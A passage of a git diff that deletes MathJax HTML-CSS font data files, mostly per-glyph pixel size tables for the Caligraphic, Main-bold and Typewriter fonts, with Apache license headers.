-      [13,17,0],[16,21,0],[19,24,0],[22,28,0],[26,34,0],[31,41,0]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,41,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,33,-1],[32,40,-1]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [4,4,0],[5,6,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,13,0],[12,14,0],
-      [15,17,0],[17,21,0],[21,24,0],[24,28,0],[29,34,0],[34,41,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,33,0],[32,40,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,29,0],[27,34,0],[32,41,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [4,4,0],[4,6,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[16,21,0],[19,24,0],[23,28,0],[27,34,0],[32,41,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [4,4,0],[5,6,0],[5,6,0],[6,7,0],[7,8,0],[9,10,0],[10,13,0],[12,14,0],
-      [14,17,0],[17,21,0],[20,24,0],[23,28,0],[28,34,0],[33,42,0]
-    ],
-    0x7E2: [  // ??
-      [3,3,-1],[3,4,-2],[4,4,-2],[4,5,-3],[5,6,-3],[6,7,-4],[7,7,-5],[9,9,-6],
-      [10,10,-7],[12,12,-9],[14,13,-11],[17,16,-13],[20,19,-15],[23,23,-18]
-    ],
-    0x7E3: [  // ??
-      [3,3,-2],[3,4,-2],[4,4,-3],[5,4,-4],[5,6,-4],[6,7,-5],[7,8,-6],[9,8,-8],
-      [10,10,-9],[12,12,-11],[14,14,-13],[17,16,-16],[20,19,-19],[24,22,-23]
-    ],
-    0x2032: [  // PRIME
-      [3,2,-2],[3,3,-3],[4,3,-3],[4,4,-3],[5,4,-4],[6,5,-5],[7,6,-7],[8,7,-7],
-      [9,8,-9],[11,10,-11],[13,12,-12],[15,14,-14],[18,16,-18],[21,20,-21]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Typewriter/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/imagedata.js b/public/MathJax/fonts/HTML-CSS/TeX/png/imagedata.js
deleted file mode 100644
index 674ed8f4..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/imagedata.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/imagedata.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/unpacked/imagedata.js b/public/MathJax/fonts/HTML-CSS/TeX/png/unpacked/imagedata.js
deleted file mode 100644
index f598e70c..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/unpacked/imagedata.js
+++ /dev/null
@@ -1,3466 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/imagedata.js
- *  
- *  Copyright (c) 2009-2010 by Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-(function (HTMLCSS,AJAX) {
-
-  HTMLCSS.defineImageData({
-
-    "MathJax_Caligraphic": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x30: [  // DIGIT ZERO
-        [4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,1],
-        [13,13,1],[16,16,1],[18,19,1],[22,22,1],[26,26,1],[31,32,1]
-      ],
-      0x31: [  // DIGIT ONE
-        [3,3,0],[4,4,0],[5,5,0],[5,6,0],[6,7,0],[8,8,0],[9,9,0],[10,12,1],
-        [12,14,1],[15,15,0],[17,18,0],[20,21,0],[24,25,0],[29,30,0]
-      ],
-      0x32: [  // DIGIT TWO
-        [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-        [13,13,0],[15,15,0],[18,18,0],[21,21,0],[25,25,0],[30,30,0]
-      ],
-      0x33: [  // DIGIT THREE
-        [4,5,2],[4,6,2],[5,7,2],[6,8,3],[7,10,3],[8,11,4],[9,13,4],[11,16,5],
-        [13,19,7],[15,24,8],[18,26,8],[22,31,10],[26,37,12],[30,44,14]
-      ],
-      0x34: [  // DIGIT FOUR
-        [4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,3],[10,13,4],[11,16,5],
-        [14,19,6],[16,22,6],[19,26,8],[22,31,9],[27,36,11],[31,43,13]
-      ],
-      0x35: [  // DIGIT FIVE
-        [4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,4],[9,13,4],[11,17,6],
-        [13,19,7],[15,23,8],[18,26,8],[21,31,10],[25,37,12],[30,44,14]
-      ],
-      0x36: [  // DIGIT SIX
-        [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[8,12,0],[9,13,0],[11,16,1],
-        [13,19,1],[15,22,1],[18,28,1],[22,32,1],[26,38,1],[30,45,1]
-      ],
-      0x37: [  // DIGIT SEVEN
-        [4,6,2],[5,7,2],[5,8,3],[6,9,3],[7,10,3],[9,11,3],[10,14,4],[12,16,5],
-        [14,20,7],[16,23,8],[19,27,9],[23,32,10],[27,38,12],[32,45,14]
-      ],
-      0x38: [  // DIGIT EIGHT
-        [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[8,12,0],[9,13,0],[11,16,1],
-        [13,19,1],[15,23,1],[18,27,1],[22,32,1],[26,38,1],[30,45,1]
-      ],
-      0x39: [  // DIGIT NINE
-        [4,5,2],[4,6,2],[5,7,2],[6,8,3],[7,10,3],[8,11,4],[9,13,4],[11,16,5],
-        [13,19,7],[16,24,8],[18,26,8],[22,31,10],[26,37,12],[31,44,14]
-      ],
-      0x41: [  // LATIN CAPITAL LETTER A
-        [6,5,0],[7,6,0],[9,8,1],[10,9,1],[12,11,1],[14,12,0],[16,15,1],[20,18,2],
-        [23,22,2],[27,26,2],[33,31,2],[39,36,2],[46,43,2],[54,51,3]
-      ],
-      0x42: [  // LATIN CAPITAL LETTER B
-        [5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,10,0],[11,12,0],[13,14,0],[16,17,1],
-        [19,21,1],[22,24,1],[26,29,1],[31,34,1],[37,40,1],[44,48,1]
-      ],
-      0x43: [  // LATIN CAPITAL LETTER C
-        [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,12,0],[11,14,0],[13,17,1],
-        [15,21,1],[18,24,1],[21,29,1],[25,34,1],[30,40,1],[36,48,1]
-      ],
-      0x44: [  // LATIN CAPITAL LETTER D
-        [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,12,1],[15,15,1],[18,16,0],
-        [22,19,0],[26,23,0],[30,27,0],[36,32,0],[43,37,0],[51,45,0]
-      ],
-      0x45: [  // LATIN CAPITAL LETTER E
-        [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,12,0],[11,14,0],[14,17,1],
-        [16,21,1],[19,24,1],[23,29,1],[27,34,1],[32,40,1],[38,48,1]
-      ],
-      0x46: [  // LATIN CAPITAL LETTER F
-        [6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,15,0],[20,17,1],
-        [23,20,1],[28,24,1],[33,28,1],[39,34,1],[46,40,2],[55,47,2]
-      ],
-      0x47: [  // LATIN CAPITAL LETTER G
-        [5,6,1],[5,7,1],[6,8,1],[8,10,2],[9,11,1],[10,14,2],[12,17,3],[14,19,3],
-        [17,23,3],[20,27,4],[24,32,4],[28,39,6],[34,46,7],[40,54,7]
-      ],
-      0x48: [  // LATIN CAPITAL LETTER H
-        [6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,17,1],
-        [23,21,1],[27,24,1],[32,29,2],[38,34,2],[45,41,2],[53,48,3]
-      ],
-      0x49: [  // LATIN CAPITAL LETTER I
-        [6,5,0],[7,6,0],[8,7,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[16,16,0],
-        [19,19,0],[23,23,0],[28,27,0],[32,32,0],[38,38,0],[45,45,0]
-      ],
-      0x4A: [  // LATIN CAPITAL LETTER J
-        [6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,11,2],[14,14,3],[17,17,3],[20,19,3],
-        [24,22,3],[28,27,4],[33,32,5],[40,38,6],[47,44,7],[56,53,8]
-      ],
-      0x4B: [  // LATIN CAPITAL LETTER K
-        [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[17,17,1],
-        [21,21,1],[25,24,1],[29,29,1],[34,34,1],[41,40,1],[49,48,1]
-      ],
-      0x4C: [  // LATIN CAPITAL LETTER L
-        [5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,10,0],[11,12,0],[13,14,0],[16,17,1],
-        [19,21,1],[22,24,1],[26,29,1],[31,34,1],[37,40,1],[44,48,1]
-      ],
-      0x4D: [  // LATIN CAPITAL LETTER M
-        [8,5,0],[10,7,1],[12,8,1],[14,8,0],[16,10,0],[19,13,1],[23,15,1],[27,18,2],
-        [32,22,2],[38,25,2],[45,30,2],[53,35,2],[63,41,2],[75,50,3]
-      ],
-      0x4E: [  // LATIN CAPITAL LETTER N
-        [8,6,0],[10,7,0],[11,9,1],[13,12,1],[15,13,1],[18,14,0],[21,17,1],[24,20,2],
-        [29,24,2],[34,28,2],[40,33,2],[48,39,2],[57,46,2],[67,56,3]
-      ],
-      0x4F: [  // LATIN CAPITAL LETTER O
-        [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[16,14,0],[19,17,1],
-        [22,21,1],[26,24,1],[31,29,1],[37,34,1],[43,40,1],[52,48,1]
-      ],
-      0x50: [  // LATIN CAPITAL LETTER P
-        [6,6,1],[7,6,0],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,16,2],[17,18,1],
-        [21,21,2],[24,25,2],[29,29,3],[34,35,3],[41,41,3],[48,49,4]
-      ],
-      0x51: [  // LATIN CAPITAL LETTER Q
-        [6,6,1],[7,7,1],[8,8,1],[10,9,1],[11,11,1],[14,14,2],[16,17,3],[19,19,3],
-        [22,24,4],[26,28,5],[31,33,5],[37,39,6],[44,46,7],[52,55,8]
-      ],
-      0x52: [  // LATIN CAPITAL LETTER R
-        [6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,15,0],[20,17,1],
-        [24,19,1],[28,23,1],[33,28,1],[39,33,1],[47,39,1],[56,46,1]
-      ],
-      0x53: [  // LATIN CAPITAL LETTER S
-        [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,14,0],[15,17,1],
-        [18,21,1],[22,24,1],[26,29,1],[30,34,1],[36,40,1],[43,48,1]
-      ],
-      0x54: [  // LATIN CAPITAL LETTER T
-        [6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,11,1],[14,13,1],[17,15,1],[20,18,2],
-        [23,22,2],[28,26,3],[33,31,3],[39,37,4],[46,44,4],[55,52,5]
-      ],
-      0x55: [  // LATIN CAPITAL LETTER U
-        [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[15,14,0],[17,17,1],
-        [20,20,1],[24,24,1],[28,28,1],[33,33,1],[40,39,1],[48,47,1]
-      ],
-      0x56: [  // LATIN CAPITAL LETTER V
-        [5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,11,1],[11,13,1],[13,15,1],[16,18,1],
-        [19,21,2],[22,25,2],[26,30,3],[31,34,2],[37,41,3],[44,49,3]
-      ],
-      0x57: [  // LATIN CAPITAL LETTER W
-        [8,6,1],[9,7,1],[11,8,1],[13,9,1],[15,11,1],[18,13,1],[21,15,1],[25,18,1],
-        [29,21,2],[35,26,3],[41,30,3],[49,35,3],[58,42,4],[69,50,4]
-      ],
-      0x58: [  // LATIN CAPITAL LETTER X
-        [6,5,0],[7,6,0],[8,7,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,0],
-        [23,19,0],[27,23,0],[32,27,0],[38,32,0],[45,38,0],[54,45,0]
-      ],
-      0x59: [  // LATIN CAPITAL LETTER Y
-        [5,6,1],[6,7,1],[8,8,1],[9,11,3],[10,12,2],[12,14,2],[14,16,2],[17,20,3],
-        [20,23,4],[24,28,5],[29,33,6],[34,39,7],[40,46,8],[48,55,9]
-      ],
-      0x5A: [  // LATIN CAPITAL LETTER Z
-        [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],
-        [22,19,0],[26,23,0],[31,27,0],[36,32,0],[43,38,0],[51,45,0]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ]
-    },
-
-    "MathJax_Fraktur-bold": {
-  
-    },
-
-    "MathJax_Fraktur": {
-  
-    },
-
-    "MathJax_Main-bold": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x21: [  // EXCLAMATION MARK
-        [2,5,0],[3,6,0],[3,8,0],[4,8,0],[4,9,0],[5,12,0],[6,14,0],[7,17,0],
-        [8,20,0],[9,23,0],[11,28,0],[13,32,0],[15,39,0],[18,47,0]
-      ],
-      0x22: [  // QUOTATION MARK
-        [4,3,-2],[5,4,-2],[5,4,-4],[6,4,-4],[7,5,-4],[9,7,-5],[10,8,-6],[12,9,-8],
-        [14,11,-9],[17,13,-10],[20,15,-13],[23,17,-15],[28,20,-18],[33,25,-21]
-      ],
-      0x23: [  // NUMBER SIGN
-        [7,6,1],[8,8,2],[9,10,2],[11,10,2],[13,12,3],[15,15,3],[18,18,4],[21,22,5],
-        [25,26,6],[30,29,6],[35,36,8],[42,41,9],[50,49,11],[59,59,13]
-      ],
-      0x24: [  // DOLLAR SIGN
-        [4,6,1],[5,8,1],[5,9,1],[6,9,1],[8,11,1],[9,15,1],[10,17,2],[12,20,1],
-        [15,24,2],[17,27,2],[20,33,3],[24,38,3],[29,45,3],[34,54,4]
-      ],
-      0x25: [  // PERCENT SIGN
-        [7,6,1],[8,8,1],[9,9,1],[11,9,1],[13,11,1],[15,14,1],[18,16,1],[21,21,2],
-        [25,24,2],[30,27,2],[35,32,2],[42,38,3],[50,45,3],[59,54,4]
-      ],
-      0x26: [  // AMPERSAND
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,23,0],[33,28,0],[39,32,0],[47,38,0],[55,46,0]
-      ],
-      0x27: [  // APOSTROPHE
-        [2,3,-2],[3,4,-2],[3,4,-4],[4,4,-4],[4,5,-4],[5,7,-5],[6,8,-6],[7,9,-8],
-        [8,11,-9],[9,13,-10],[11,15,-13],[13,17,-15],[15,20,-18],[18,25,-21]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [3,7,2],[4,9,2],[4,12,3],[5,12,3],[6,14,3],[7,18,4],[8,20,5],[9,25,6],
-        [11,29,7],[13,34,8],[15,40,10],[18,47,12],[22,56,14],[25,67,17]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [3,7,2],[3,9,2],[4,12,3],[5,12,3],[5,14,3],[6,18,4],[7,20,5],[8,25,6],
-        [10,29,7],[12,34,8],[14,40,10],[16,47,12],[19,56,14],[23,67,17]
-      ],
-      0x2A: [  // ASTERISK
-        [4,3,-2],[5,4,-3],[5,5,-3],[6,5,-3],[7,6,-4],[9,8,-5],[10,9,-6],[12,11,-7],
-        [14,13,-9],[17,15,-10],[20,18,-12],[24,21,-14],[28,25,-17],[33,30,-20]
-      ],
-      0x2B: [  // PLUS SIGN
-        [6,6,1],[7,7,1],[9,9,1],[10,9,1],[12,11,2],[14,14,2],[17,16,3],[20,19,3],
-        [23,22,4],[28,26,4],[33,31,5],[39,36,6],[46,43,7],[55,51,9]
-      ],
-      0x2C: [  // COMMA
-        [2,3,1],[3,4,2],[3,4,2],[4,4,2],[4,6,3],[5,7,3],[6,8,4],[6,10,5],
-        [8,11,6],[9,12,6],[11,15,8],[12,17,9],[15,21,11],[17,25,13]
-      ],
-      0x2D: [  // HYPHEN-MINUS
-        [3,1,-1],[3,1,-1],[4,3,-1],[4,3,-1],[5,3,-2],[6,2,-3],[7,3,-3],[8,3,-4],
-        [9,4,-5],[11,4,-6],[13,5,-7],[15,6,-8],[18,7,-9],[21,8,-11]
-      ],
-      0x2E: [  // FULL STOP
-        [2,2,0],[3,2,0],[3,2,0],[3,2,0],[4,3,0],[5,4,0],[5,4,0],[6,5,0],
-        [7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0]
-      ],
-      0x2F: [  // SOLIDUS
-        [4,7,2],[5,9,2],[5,11,3],[6,11,3],[8,14,3],[9,18,4],[10,20,5],[12,25,6],
-        [15,29,7],[17,33,8],[20,40,10],[24,47,12],[29,56,14],[34,67,17]
-      ],
-      0x30: [  // DIGIT ZERO
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-        [15,20,0],[18,22,0],[21,26,0],[25,31,0],[30,37,0],[35,44,0]
-      ],
-      0x31: [  // DIGIT ONE
-        [4,5,0],[5,6,0],[5,7,0],[6,8,0],[7,9,0],[9,12,0],[10,13,0],[12,16,0],
-        [14,19,0],[17,22,0],[20,26,0],[23,31,0],[28,36,0],[33,44,0]
-      ],
-      0x32: [  // DIGIT TWO
-        [4,5,0],[5,6,0],[6,7,0],[7,7,0],[8,9,0],[9,12,0],[11,14,0],[12,16,0],
-        [15,19,0],[18,22,0],[21,26,0],[25,30,0],[29,36,0],[35,44,0]
-      ],
-      0x33: [  // DIGIT THREE
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-        [15,19,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-      ],
-      0x34: [  // DIGIT FOUR
-        [4,5,0],[5,7,1],[6,8,1],[7,9,1],[8,10,1],[9,13,1],[11,14,1],[13,17,1],
-        [15,20,1],[18,23,1],[22,27,1],[26,32,1],[30,37,1],[36,45,1]
-      ],
-      0x35: [  // DIGIT FIVE
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[12,16,0],
-        [15,19,0],[18,23,0],[21,27,0],[25,31,0],[29,37,0],[35,45,0]
-      ],
-      0x36: [  // DIGIT SIX
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-        [15,19,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-      ],
-      0x37: [  // DIGIT SEVEN
-        [4,5,0],[5,7,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-        [16,20,0],[19,23,0],[22,27,0],[26,32,0],[31,38,0],[37,45,0]
-      ],
-      0x38: [  // DIGIT EIGHT
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-        [15,19,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-      ],
-      0x39: [  // DIGIT NINE
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-        [15,20,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-      ],
-      0x3A: [  // COLON
-        [2,3,0],[3,4,0],[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,11,0],
-        [7,13,0],[9,15,0],[10,18,0],[12,21,0],[14,25,0],[17,30,0]
-      ],
-      0x3B: [  // SEMICOLON
-        [2,4,1],[3,6,2],[3,7,2],[3,7,2],[4,9,3],[5,11,3],[5,13,4],[6,16,5],
-        [7,19,6],[9,21,6],[10,26,8],[12,30,9],[14,36,11],[17,43,13]
-      ],
-      0x3C: [  // LESS-THAN SIGN
-        [6,5,1],[7,6,1],[8,8,1],[10,8,1],[12,9,1],[14,12,1],[16,14,2],[19,17,2],
-        [23,20,2],[27,23,3],[32,27,3],[38,32,4],[45,38,5],[53,45,6]
-      ],
-      0x3D: [  // EQUALS SIGN
-        [6,2,0],[7,3,-1],[9,3,-1],[10,3,-1],[12,4,-1],[14,6,-1],[17,6,-1],[20,8,-2],
-        [23,8,-3],[28,9,-4],[33,12,-4],[39,13,-5],[46,16,-6],[55,19,-7]
-      ],
-      0x3E: [  // GREATER-THAN SIGN
-        [6,5,1],[7,6,1],[8,8,1],[10,8,1],[11,9,1],[14,12,1],[16,14,2],[19,17,2],
-        [22,20,2],[27,23,3],[32,27,3],[37,32,4],[45,38,5],[53,45,6]
-      ],
-      0x3F: [  // QUESTION MARK
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[10,14,0],[11,17,0],
-        [14,20,0],[16,23,0],[19,28,0],[23,32,0],[27,38,0],[32,46,0]
-      ],
-      0x40: [  // COMMERCIAL AT
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-      ],
-      0x41: [  // LATIN CAPITAL LETTER A
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-      ],
-      0x42: [  // LATIN CAPITAL LETTER B
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [21,20,0],[25,23,0],[30,28,0],[36,32,0],[42,38,0],[50,46,0]
-      ],
-      0x43: [  // LATIN CAPITAL LETTER C
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-      ],
-      0x44: [  // LATIN CAPITAL LETTER D
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,23,0],[32,28,0],[38,32,0],[46,38,0],[54,45,0]
-      ],
-      0x45: [  // LATIN CAPITAL LETTER E
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-        [20,20,0],[24,23,0],[29,28,0],[34,32,0],[40,38,0],[48,46,0]
-      ],
-      0x46: [  // LATIN CAPITAL LETTER F
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,17,0],
-        [19,20,0],[23,23,0],[27,28,0],[32,32,0],[38,38,0],[45,46,0]
-      ],
-      0x47: [  // LATIN CAPITAL LETTER G
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,23,0],[34,28,0],[40,33,1],[47,39,1],[56,47,1]
-      ],
-      0x48: [  // LATIN CAPITAL LETTER H
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-      ],
-      0x49: [  // LATIN CAPITAL LETTER I
-        [3,5,0],[4,6,0],[5,8,0],[5,8,0],[6,9,0],[7,12,0],[8,14,0],[10,17,0],
-        [12,20,0],[14,23,0],[17,28,0],[20,32,0],[23,38,0],[27,46,0]
-      ],
-      0x4A: [  // LATIN CAPITAL LETTER J
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-        [15,20,0],[18,23,0],[21,28,0],[25,32,0],[30,38,0],[35,46,0]
-      ],
-      0x4B: [  // LATIN CAPITAL LETTER K
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-      ],
-      0x4C: [  // LATIN CAPITAL LETTER L
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-        [18,20,0],[22,23,0],[26,28,0],[31,32,0],[36,38,0],[43,46,0]
-      ],
-      0x4D: [  // LATIN CAPITAL LETTER M
-        [8,6,0],[9,7,0],[11,9,0],[13,9,0],[15,10,0],[18,13,0],[21,15,0],[25,18,0],
-        [29,21,0],[35,24,0],[42,29,0],[49,33,0],[58,39,0],[70,47,0]
-      ],
-      0x4E: [  // LATIN CAPITAL LETTER N
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-      ],
-      0x4F: [  // LATIN CAPITAL LETTER O
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[53,46,0]
-      ],
-      0x50: [  // LATIN CAPITAL LETTER P
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-        [20,20,0],[24,23,0],[29,28,0],[34,32,0],[40,38,0],[48,46,0]
-      ],
-      0x51: [  // LATIN CAPITAL LETTER Q
-        [6,6,1],[7,8,2],[8,10,2],[10,10,2],[12,12,3],[14,15,3],[16,18,4],[19,22,5],
-        [23,26,6],[27,29,6],[32,36,8],[38,41,9],[45,49,11],[53,59,13]
-      ],
-      0x52: [  // LATIN CAPITAL LETTER R
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-      ],
-      0x53: [  // LATIN CAPITAL LETTER S
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [16,20,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,46,0]
-      ],
-      0x54: [  // LATIN CAPITAL LETTER T
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [21,19,0],[25,23,0],[30,27,0],[36,31,0],[42,38,0],[50,45,0]
-      ],
-      0x55: [  // LATIN CAPITAL LETTER U
-        [6,5,0],[8,6,0],[9,8,0],[10,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,23,0],[34,28,0],[40,32,0],[47,39,1],[56,47,1]
-      ],
-      0x56: [  // LATIN CAPITAL LETTER V
-        [6,6,1],[7,7,1],[9,9,1],[10,9,1],[12,10,1],[14,13,1],[17,15,1],[20,18,1],
-        [24,21,1],[28,24,1],[33,29,1],[40,33,1],[47,40,1],[56,47,1]
-      ],
-      0x57: [  // LATIN CAPITAL LETTER W
-        [8,6,0],[10,7,0],[12,9,0],[14,9,0],[17,10,0],[20,13,0],[23,15,0],[27,18,0],
